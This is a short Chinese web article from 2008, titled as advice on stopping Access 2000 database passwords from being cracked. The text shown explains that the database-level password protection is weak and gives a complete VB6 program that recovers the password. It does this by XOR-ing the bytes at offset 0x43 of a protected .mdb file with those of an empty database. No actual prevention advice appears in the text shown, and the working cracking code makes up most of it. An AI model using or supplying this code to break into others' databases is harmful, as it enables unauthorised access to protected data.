防止Access 2000密码被破译的方法

　2008-10-07 00:00:00　来源：WEB开发网　　　

核心提示：如果你过分信任 Access 2000数据库的密码保护，你可能会因此而蒙受损失，防止Access 2000密码被破译的方法，这是因为Access 2000的数据库级密码并不安全，相反它很脆弱，也就是 Windows记录在文件夹目录里的信息（根据文件名的长短，每个文件在目录里占用至少32个字节，甚至下面这段非常小的程序就

如果你过分信任 Access 2000数据库的密码保护，你可能会因此而蒙受损失。这是因为Access 2000的数据库级密码并不安全，相反它很脆弱，甚至下面这段非常小的程序就可以攻破它：

程序一（VB6）：Access 2000密码破译

Private Sub Command1_Click() Const Offset = &H43 文件偏移地址：Access数据库从此处开始存放加密密码 Dim bEmpty(1 To 2) As Byte, bPass(1 To 2) As Byte Dim i As Integer, Password As String 打开一个空数据库作为参照 Open "D:VB6_TestMDB_PasswordNew_Empty_DB.mdb" For Binary As #1 打开被密码保护的数据库 Open "D:VB6_TestMDB_PasswordPass_Protected_DB.mdb" For Binary As #2 Seek #1, Offset Seek #2, Offset For i = 1 To 20 ' Access 2000 数据库密码最长允许20位 Get #1, , bEmpty ' 其中每位密码占两个字节 Get #2, , bPass ' 一个汉字也仅是一位密码，占两个字节 If (bEmpty(1) Xor bPass(1)) <> 0 Then Password = Password + Chr(bEmpty(1) Xor bPass(1)) ' 将密码解密 End If Next Close 1, 2 MsgBox "Password:" + Password ' 显示密码 End Sub